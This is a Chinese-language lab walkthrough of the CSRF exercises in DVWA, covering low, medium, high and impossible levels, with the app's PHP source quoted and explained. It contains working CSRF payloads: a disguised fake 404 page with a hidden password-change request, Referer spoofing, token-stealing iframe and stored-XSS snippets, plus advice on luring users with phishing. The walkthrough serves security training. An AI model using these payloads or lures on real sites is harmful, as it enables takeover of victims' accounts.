
DVWA CSRF实验
CSRF是Cross Site Request Forgery的缩写
正常输入
正常输入新的密码,可以完成密码的修改
Low难度
抓包分析
输入新的密码newpassword
在确认修改密码的时候截获相关请求,进行分析

可以看到这里其实是向服务器发送了一个get请求
GET /dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change HTTP/1.1

核心的链接
newpassword
改为你要设置的新密码
http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change
伪造请求页面
如果直接让用户点某个链接,页面上输出了Password changed
,用户就会意识到自己密码被篡改了

因此,为了使得效果更加真实,可以通过伪装成404页面,让用户降低警惕。
启动web服务
启动apache2
服务
service apache2 start
伪造404页面
用html写个假的404请求页面,将抓包中的请求也加入到里面
使用img
标签,并且不将其显示出来style="display:none;"
,并将密码修改为newpassword
<html>
<head><title>404 Not Found</title></head>
<body>
<img src="http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change" border="0" style="display:none;"/>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
上传到服务器
将该页面上传到自己的服务器里某个目录下,并以404.html
命名,效果会更加逼真
实验过程
诱导用户点击
诱导用户点击了下面的页面,访问提示404,但实际上密码已经修改了
http://192.168.47.128/404.html

验证效果
这里发现使用原来的密码password
已经登陆不上去了,说明修改成功了已经

代码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
通过上面的代码可以看到,在收到传入的密码后,服务器端只检测 $pass_new
和$pass_conf
是否相等,相等就会修改密码,并用md5加密传到数据库进行保存,在这里没有任何防御相关的机制。
Medium难度
抓包分析

核心的链接
newpassword
改为你要设置的新密码
http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change
直接访问发现提示
That request didn't look correct.

目测这里是做了某些限制,后面证实是refer验证
伪造Referer请求头
开启拦截,访问
http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change
然后再下方添加
Referer: http://192.168.47.129/dvwa/vulnerabilities/csrf/
再放行

提示密码成功修改

因此可以得出通过伪造192.168.47.129
可以实现密码的修改
文件名尝试
这里再做一次尝试
将文件名修改成192.168.47.129.html

结果发现密码也可以修改,由此可以推断只要文件名字中包含这个IP地址就行

伪造404页面
因此,伪造的页面只需要把404.html
改成192.168.47.129.html
就行了
代码是之前的,不需要修改
代码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到Medium难度代码中,对请求来源进行了判断
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
将HTTP_REFERER
和SERVER_NAME
进行比对,如果不对则不能修改密码。
但是这里我们可以通过修改文件或者伪造Referer,完成密码修改。
延申
由此,还可以得出,很多防盗链的资源如果只是通过上述方式进行了Referer验证,我们可以通过构造Referer请求头就可以下载到这些资源。
High难度
抓包分析

发现High难度下增加了user_token
的验证
GET /dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change&user_token=09eff8ff448b3c6edacd4cb62d173a85 HTTP/1.1
方法1
通过降级的思路,将High难度降级到Low难度,然后再按照Low难度的进行实验即可
这里只需要修改cookies就行了

将cookies修改为Low难度的
Cookie: security=low; PHPSESSID=4ppsgvlu5v2q1ndtuki0447i04
方法2
安装CSRF Token Tracker插件

将user_token
设置进去,并且打勾

然后修改密码,进行抓包

可以看到已经读取到user_token的值了

将刚才抓包的内容发到Repeater模块。

点击go修改密码

然后我们尝试手动修改password_new
和password_conf
的值,然后继续点go

这样复用,user_token就直接废掉了,直接修改密码就可以了
方法3
方法1和方法2需要攻击者使用工具的手段进行修改,而实战中有时更需要利用钓鱼等手段
这里尝试通过document.getElementsByName
读取user_token的值,然后在iframe框架下修改密码时传入参数
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("fancypig").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://192.168.47.129/dvwa/vulnerabilities/csrf/" id="fancypig" style="display:none;">
<!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://192.168.47.129/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="newpassword">
<input type="hidden" name="password_conf" value="newpassword">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
这里实际效果是,由于同源规则,攻击脚本不能跨域获取改密界面中的user_token

我们这时将思路转到存储型XSS漏洞上,基本思路就是通过XSS漏洞,然后将token暴露出来,这样使用固定的token就可以修改密码了
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
经过尝试发现Name和Message都有长度限制,因此这里还是需要用到BurpSuite的Repeater功能,修改输入值

发送到Repeater

将txtName修改一下,点击go

发包出去,发现已经存储上了,只有每次点击XSS(stored)的时候会token才会更新,因此该难度又回到了Low难度,因为后面token已经变成一个固定的值了

我们这里复制下来token
70d6168dd05f1b8823fcab4b72fc6c44
伪造404页面
将上面的token放到user_token后面,
<html>
<head><title>404 Not Found</title></head>
<body>
<img src="http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=fancypig&password_conf=fancypig&Change=Change&user_token=70d6168dd05f1b8823fcab4b72fc6c44 " border="0" style="display:none;"/>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
访问相应的页面,出现404

然后打开个新的隐私页面,输入密码fancypig
看看密码有没有修改成功


代码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
上述代码加入了Anti-CSRF token防御机制,用户每次修改密码提交时,服务器会返回随机的token,一定程度上避免了之前Low、Medium难度下发送钓鱼链接直接篡改密码的情况,因为每次都需要检查token,只有token正确,才会处理客户端的请求。
Impossible难度
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
上述代码延续使用PDO技术防御SQL注入,除此之外,增加了当前密码的验证,这样就可以防止无意点了钓鱼链接,密码直接被篡改的情况。
- 最新
- 最热
只看作者